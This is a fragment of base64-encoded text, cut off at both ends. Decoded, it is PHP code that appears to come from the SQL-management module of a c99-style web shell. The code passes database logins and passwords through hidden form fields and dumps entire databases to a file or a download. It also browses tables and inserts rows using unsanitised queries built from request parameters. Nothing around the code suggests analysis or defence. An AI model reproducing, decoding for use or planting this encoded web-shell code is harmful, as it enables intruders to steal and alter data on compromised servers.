zcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImR1bXBfZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvICJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kc3FsX2RiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsgPz4iPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT0iRHVtcCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+DQogICAgICAgIDw/cGhwDQogICAgICAgIGlmICghZW1wdHkoJHNxbF94KSkge2VjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+Ijt9DQogICAgICAgIGlmICgkc3FsX3ggPT0gIm5ld3RibCIpIHsNCiAgICAgICAgICBlY2hvICI8Yj4iOw0KICAgICAgICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7DQogICAgICAgICAgICBlY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmICgkc3FsX3ggPT0gImR1bXAiKSB7DQogICAgICAgICAgaWYgKGVtcHR5KCRzdWJtaXQpKSB7DQogICAgICAgICAgICAkZGlwbGF5ID0gRkFMU0U7DQogICAgICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfeFwiIHZhbHVlPVwiZHVtcFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48Yj5TUUwtRHVtcDo8L2I+PGJyPjxicj4iOw0KICAgICAgICAgICAgZWNobyAiPGI+REI6PC9iPiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkc3FsX2RiKS4iXCI+PGJyPjxicj4iOw0KICAgICAgICAgICAgJHYgPSBqb2luICgiOyIsJGRtcHRibHMpOw0KICAgICAgICAgICAgZWNobyAiPGI+T25seSB0YWJsZXMgKGV4cGxvZGUgXCI7XCIpJm5ic3A7PGI+PHN1cD4xPC9zdXA+PC9iPjo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImRtcHRibHNcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdikuIlwiIHNpemU9XCIiLihzdHJsZW4oJHYpKzUpLiJcIj48YnI+PGJyPiI7DQogICAgICAgICAgICBpZiAoJGR1bXBfZmlsZSkgeyR0bXAgPSAkZHVtcF9maWxlO30NCiAgICAgICAgICAgIGVsc2UgeyR0bXAgPSBodG1sc3BlY2lhbGNoYXJzKCIuL2R1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiKTt9DQogICAgICAgICAgICBlY2hvICI8Yj5GaWxlOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2R1bXBfZmlsZVwiIHZhbHVlPVwiIi4kdG1wLiJcIiBzaXplPVwiIi4oc3RybGVuKCR0bXApK3N0cmxlbigkdG1wKSAlIDMwKS4iXCI+PGJyPjxicj4iOw0KICAgICAgICAgICAgZWNobyAiPGI+RG93bmxvYWQ6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX2Rvd25sb2FkXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+PGJyPiI7DQogICAgICAgICAgICBlY2hvICI8Yj5TYXZlIHRvIGZpbGU6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX3NhdmV0b2ZpbGVcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPiI7DQogICAgICAgICAgICBlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRHVtcFwiPjxicj48YnI+PGI+PHN1cD4xPC9zdXA+PC9iPiAtIGFsbCwgaWYgZW1wdHkiOw0KICAgICAgICAgICAgZWNobyAiPC9mb3JtPiI7DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgJGRpcGxheSA9IFRSVUU7DQogICAgICAgICAgICAkc2V0ID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRzZXRbInNvY2siXSA9ICRzcWxfc29jazsNCiAgICAgICAgICAgICRzZXRbImRiIl0gPSAkc3FsX2RiOw0KICAgICAgICAgICAgJGR1bXBfb3V0ID0gImRvd25sb2FkIjsNCiAgICAgICAgICAgICRzZXRbInByaW50Il0gPSAwOw0KICAgICAgICAgICAgJHNldFsibmwyYnIiXSA9IDA7DQogICAgICAgICAgICAkc2V0WyIiXSA9IDA7DQogICAgICAgICAgICAkc2V0WyJmaWxlIl0gPSAkZHVtcF9maWxlOw0KICAgICAgICAgICAgJHNldFsiYWRkX2Ryb3AiXSA9IFRSVUU7DQogICAgICAgICAgICAkc2V0WyJvbmx5dGFicyJdID0gYXJyYXkoKTsNCiAgICAgICAgICAgIGlmICghZW1wdHkoJGRtcHRibHMpKSB7JHNldFsib25seXRhYnMiXSA9IGV4cGxvZGUoIjsiLCRkbXB0YmxzKTt9DQogICAgICAgICAgICAkcmV0ID0gbXlzcWxfZHVtcCgkc2V0KTsNCiAgICAgICAgICAgIGlmICgkc3FsX2R1bXBfZG93bmxvYWQpIHsNCiAgICAgICAgICAgICAgQG9iX2NsZWFuKCk7DQogICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCiAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJHJldCkpOw0KICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi5iYXNlbmFtZSgkc3FsX2R1bXBfZmlsZSkuIlwiOyIpOw0KICAgICAgICAgICAgICBlY2hvICRyZXQ7DQogICAgICAgICAgICAgIGV4aXQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCRzcWxfZHVtcF9zYXZldG9maWxlKSB7DQogICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRzcWxfZHVtcF9maWxlLCJ3Iik7DQogICAgICAgICAgICAgIGlmICghJGZwKSB7ZWNobyAiPGI+RHVtcCBlcnJvciEgQ2FuJ3Qgd3JpdGUgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kdW1wX2ZpbGUpLiJcIiEiO30NCiAgICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgZndyaXRlKCRmcCwkcmV0KTsNCiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICBlY2hvICI8Yj5EdW1wZWQhIER1bXAgaGFzIGJlZW4gd3JpdGVkIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtcF9maWxlKSkuIlwiICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iOw0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlIHtlY2hvICI8Yj5EdW1wOiBub3RoaW5nIHRvIGRvITwvYj4iO30NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRkaXBsYXkpIHsNCiAgICBpZiAoIWVtcHR5KCRzcWxfdGJsKSkgew0KICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX3gpKSB7JHNxbF90YmxfeCA9ICJicm93c2UiO30NCiAgICAgICRjb3VudCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgQ09VTlQoKikgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsNCiAgICAgICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOw0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsNCiAgICAgICR0Ymxfc3RydWN0X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIEZJRUxEUyBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOw0KICAgICAgJHRibF9zdHJ1Y3RfZmllbGRzID0gYXJyYXkoKTsNCiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHRibF9zdHJ1Y3RfcmVzdWx0KSkgeyR0Ymxfc3RydWN0X2ZpZWxkc1tdID0gJHJvdzt9DQogICAgICBpZiAoJHNxbF9scyA+ICRzcWxfbGUpIHskc3FsX2xlID0gJHNxbF9scyArICRwZXJwYWdlO30NCiAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9wYWdlKSkgeyRzcWxfdGJsX3BhZ2UgPSAwO30NCiAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9scykpIHskc3FsX3RibF9scyA9IDA7fQ0KICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyRzcWxfdGJsX2xlID0gMzA7fQ0KICAgICAgJHBlcnBhZ2UgPSAkc3FsX3RibF9sZSAtICRzcWxfdGJsX2xzOw0KICAgICAgaWYgKCFpc19udW1lcmljKCRwZXJwYWdlKSkgeyRwZXJwYWdlID0gMTA7fQ0KICAgICAgJG51bXBhZ2VzID0gJGNvdW50X3Jvd1swXS8kcGVycGFnZTsNCiAgICAgICRlID0gZXhwbG9kZSgiICIsJHNxbF9vcmRlcik7DQogICAgICBpZiAoY291bnQoJGUpID09IDIpIHsNCiAgICAgICAgaWYgKCRlWzBdID09ICJkIikgeyRhc2NfZGVzYyA9ICJERVNDIjt9DQogICAgICAgIGVsc2UgeyRhc2NfZGVzYyA9ICJBU0MiO30NCiAgICAgICAgJHYgPSAiT1JERVIgQlkgYCIuJGVbMV0uImAgIi4kYXNjX2Rlc2MuIiAiOw0KICAgICAgfQ0KICAgICAgZWxzZSB7JHYgPSAiIjt9DQogICAgICAkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kc3FsX3RibC4iYCAiLiR2LiJMSU1JVCAiLiRzcWxfdGJsX2xzLiIgLCAiLiRwZXJwYWdlLiIiOw0KICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsNCiAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UYWJsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiIgKCIubXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KS4iIGNvbHMgYW5kICIuJGNvdW50X3Jvd1swXS4iIHJvd3MpPC9iPjwvY2VudGVyPiI7DQogICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PXN0cnVjdHVyZVwiPls8Yj4gU3RydWN0dXJlIDwvYj5dPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PWJyb3dzZVwiPls8Yj4gQnJvd3NlIDwvYj5dPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3g9dGJsZHVtcCZ0aGlzdGJsPTFcIj5bPGI+IER1bXAgPC9iPl08L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX3g9aW5zZXJ0XCI+WyZuYnNwOzxiPkluc2VydDwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgICBpZiAoJHNxbF90YmxfeCA9PSAic3RydWN0dXJlIikge2VjaG8gIjxicj48YnI+PGI+Q29taW5nIHNvb29uITwvYj4iO30NCiAgICAgIGlmICgkc3FsX3RibF94ID09ICJpbnNlcnQiKSB7DQogICAgICAgIGlmICghaXNfYXJyYXkoJHNxbF90YmxfaW5zZXJ0KSkgeyRzcWxfdGJsX2luc2VydCA9IGFycmF5KCk7fQ0KICAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9yYWRpbykpIHsgIH0gLy9Ob3QgUmVhZHkNCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgZWNobyAiPGJyPjxicj48Yj5JbnNlcnRpbmcgcm93IGludG8gdGFibGU6PC9iPjxicj4iOw0KICAgICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7DQogICAgICAgICAgICAkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAiOw0KICAgICAgICAgICAgJHNxbF9xdWVyeSAuPSAiIFdIRVJFIi4kc3FsX3RibF9pbnNlcnRfcTsNCiAgICAgICAgICAgICRzcWxfcXVlcnkgLj0gIiBMSU1JVCAxOyI7DQogICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spIG9yIHByaW50KCI8YnI+PGJyPiIubXlzcWxfc21hcnRlcnJvcigpKTsNCiAgICAgICAgICAgICR2YWx1ZXMgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KTsNCiAgICAgICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlbHNlIHskdmFsdWVzID0gYXJyYXkoKTt9DQogICAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjx0YWJsZSB3aWR0aD1cIjElXCIgYm9yZGVyPTE+PHRyPjx0ZD48Yj5GaWVsZDwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkZ1bmN0aW9uPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KICAgICAgICAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0X2ZpZWxkcyBhcyAkZmllbGQpIHsNCiAgICAgICAgICAgICRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOw0KICAgICAgICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0gIiI7fQ0KICAgICAgICAgICAgZWNobyAiPHRyPjx0ZD48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiI8L2I+PC90ZD48dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD48dGQ+PHNlbGVjdCBuYW1lPVwic3FsX3RibF9pbnNlcnRfZnVuY3RzWyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIj48b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+PG9wdGlvbj5QQVNTV09SRDwvb3B0aW9uPjxvcHRpb24+TUQ1PC9vcHRpb24+PG9wdGlvbj5FTkNSWVBUPC9vcHRpb24+PG9wdGlvbj5BU0NJSTwvb3B0aW9uPjxvcHRpb24+Q0hBUjwvb3B0aW9uPjxvcHRpb24+UkFORDwvb3B0aW9uPjxvcHRpb24+TEFTVF9JTlNFUlRfSUQ8L29wdGlvbj48b3B0aW9uPkNPVU5UPC9vcHRpb24+PG9wdGlvbj5BVkc8L29wdGlvbj48b3B0aW9uPlNVTTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJcIj4tLS0tLS0tLTwvb3B0aW9uPjxvcHRpb24+U09VTkRFWDwvb3B0aW9uPjxvcHRpb24+TENBU0U8L29wdGlvbj48b3B0aW9uPlVDQVNFPC9vcHRpb24+PG9wdGlvbj5OT1c8L29wdGlvbj48b3B0aW9uPkNVUkRBVEU8L29wdGlvbj48b3B0aW9uPkNVUlRJTUU8L29wdGlvbj48b3B0aW9uPkZST01fREFZUzwvb3B0aW9uPjxvcHRpb24+RlJPTV9VTklYVElNRTwvb3B0aW9uPjxvcHRpb24+UEVSSU9EX0FERDwvb3B0aW9uPjxvcHRpb24+UEVSSU9EX0RJRkY8L29wdGlvbj48b3B0aW9uPlRPX0RBWVM8L29wdGlvbj48b3B0aW9uPlVOSVhfVElNRVNUQU1QPC9vcHRpb24+PG9wdGlvbj5VU0VSPC9vcHRpb24+PG9wdGlvbj5XRUVLREFZPC9vcHRpb24+PG9wdGlvbj5DT05DQVQ8L29wdGlvbj48L3NlbGVjdD48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9pbnNlcnRbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2YWx1ZXNbJG5hbWVdKS4iXCIgc2l6ZT01MD48L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICRpKys7DQogICAgICAgICAgfQ0KICAgICAgICAgIGVjaG8gIjwvdGFibGU+PGJyPiI7DQogICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMVwiIjsgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48Yj5JbnNlcnQgYXMgbmV3IHJvdzwvYj4iOw0KICAgICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7ZWNobyAiIG9yIDxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjJcIiBjaGVja2VkPjxiPlNhdmU8L2I+IjsgZWNobyAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsX2luc2VydF9xKS4iXCI+Ijt9DQogICAgICAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT4iOw0KICAgICAgICB9DQogICAgICB9DQogICAgICBpZiAoJHNxbF90YmxfeCA9PSAiYnJvd3NlIikgew0KICAgICAgICAkc3FsX3RibF9scyA9IGFicygkc3FsX3RibF9scyk7DQogICAgICAgICRzcWxfdGJsX2xlID0gYWJzKCRzcWxfdGJsX2xlKTsNCiAgICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgICAgICBlY2hvICI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1tdWx0aXBhZ2VcIiBoZWlnaHQ9XCIxMlwiIHdpZHRoPVwiMTBcIiBhbHQ9XCJQYWdlc1wiPiZuYnNwOyI7DQogICAgICAgICRiID0gMDsNCiAgICAgICAgZm9yKCRpPTA7JGk8JG51bXBhZ2VzOyRpKyspIHsNCiAgICAgICAgICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF9vcmRlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIiZzcWxfdGJsX2xzPSIuKCRpKiRwZXJwYWdlKS4iJnNxbF90YmxfbGU9Ii4oJGkqJHBlcnBhZ2UrJHBlcnBhZ2UpLiJcIj48dT4iO30NCiAgICAgICAgICBlY2hvICRpOw0KICAgICAgICAgIGlmICgoJGkqJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgkaSokcGVycGFnZSskcGVycGFnZSAhPSAkc3FsX3RibF9sZSkpIHtlY2hvICI8L3U+PC9hPiI7fQ0KICAgICAgICAgIGlmICgoJGkvMzAgPT0gcm91bmQoJGkvMzApKSBhbmQgKCRpID4gMCkpIHtlY2hvICI8YnI+Ijt9DQogICAgICAgICAgZWxzZSB7ZWNobyAiJm5ic3A7Ijt9DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRpID09IDApIHtlY2hvICJlbXB0eSI7fQ0KICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ4XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX29yZGVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikuIlwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xzXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xzLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbGVcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbGUuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPiI7DQogICAgICAgIGVjaG8gIjxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdjb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4iOw0KICAgICAgICBlY2hvICI8dHI+IjsNCiAgICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93X2FsbFwiIHZhbHVlPVwiMVwiPjwvdGQ+IjsNCiAgICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgew0KICAgICAgICAgICR2ID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsNCiAgICAgICAgICBpZiAoJGVbMF0gPT0gImEiKSB7JHMgPSAiZCI7ICRtID0gImFzYyI7fQ0KICAgICAgICAgIGVsc2UgeyRzID0gImEiOyAkbSA9ICJkZXNjIjt9DQogICAgICAgICAgZWNobyAiPHRkPiI7DQogICAgICAgICAgaWYgKGVtcHR5KCRlWzBdKSkgeyRlWzBdID0gImEiO30NCiAgICAgICAgICBpZiAoJGVbMV0gIT0gJHYpIHtlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRlWzBdLiIlMjAiLiR2LiJcIj48Yj4iLiR2LiI8L2I+PC9hPiI7fQ0KICAgICAgICAgIGVsc2Uge2VjaG8gIjxiPiIuJHYuIjwvYj48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii4kc3FsX3RibC4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF9vcmRlcj0iLiRzLiIlMjAiLiR2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zb3J0XyIuJG0uIlwiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYWx0PVwiIi4kbS4iXCI+PC9hPiI7fQ0KICAgICAgICAgIGVjaG8gIjwvdGQ+IjsNCiAgICAgICAgfQ0KICAgICAgZWNobyAiPHRkPjxmb250IGNvbG9yPVwiZ3JlZW5cIj48Yj5BY3Rpb248L2I+PC9mb250PjwvdGQ+IjsNCiAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKSB7DQogICAgICAgZWNobyAiPHRyPiI7DQogICAgICAgJHcgPSAiIjsNCiAgICAgICA